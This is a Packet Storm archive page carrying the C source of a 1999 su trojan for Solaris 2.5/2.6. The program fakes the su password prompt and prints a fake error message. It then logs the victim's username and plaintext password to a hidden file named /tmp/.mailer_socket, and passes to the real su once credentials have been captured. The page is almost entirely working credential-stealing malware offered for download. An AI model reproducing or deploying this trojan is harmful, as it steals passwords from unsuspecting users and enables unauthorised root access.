what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sut_sol25j.c

sut_sol25j.c
Posted Nov 5, 1999
Authored by shadowpenguin

SU trojan for Solaris2.5

tags | trojan
systems | unix
SHA-256 | 55fb124bfca319c507f664170de672439a7c1d8d4cca67cebf1f05fef5b415dd

sut_sol25j.c

Change Mirror Download
/* SU ¥È¥í¥¤ for Solaris 2.5,2.6ÆüËܸìÈÇ by UNYUN */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#define MSG_INP "Password:"
#define MSG_ERR "su: ¿·¤·¤¤¥æ¡¼¥¶¤ËÊѹ¹¤Ç¤­¤Þ¤»¤ó¡£"
#define MSG_NOID "su: ID ¤¬Àµ¤·¤¯¤¢¤ê¤Þ¤»¤ó: "
#define MSG_WAIT 5
#define REAL_SU "/bin/su"
#define LOGFILE "/tmp/.mailer_socket"
#define MAX_USERNAME 200
#define MAX_PASSWD 200

main(argc,argv)
int argc;
char *argv[];
{
char x[MAX_PASSWD];
struct passwd *pwd;
char user[MAX_USERNAME];
char passwd[MAX_PASSWD];
char temp1[MAX_USERNAME],temp2[MAX_PASSWD];
FILE *fp;
int flag=0;
int uid=getuid();

if (argc==1) strcpy(user,"root");
else strcpy(user,argv[1]);
if ((fp=fopen(LOGFILE,"r"))!=NULL){
for (;;){
if (feof(fp)) break;
fscanf(fp,"%s",temp1);
fscanf(fp,"%s",temp2);
if (strcmp(user,temp1)==0){
flag=1;
break;
}
}
fclose(fp);
}
pwd=getpwuid(uid);
if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
sprintf(temp1,"%s %s",REAL_SU,user);
system(temp1);
exit(1);
}
if (argc>1){
if ((pwd=getpwnam(user))==NULL){
sleep(MSG_WAIT);
printf("%s%s\n",MSG_NOID,user);
exit(1);
}
}
strcpy(x,getpass(MSG_INP));
sleep(MSG_WAIT);
printf("%s\n",MSG_ERR);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s\t%s\n",user,x);
fclose(fp);
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close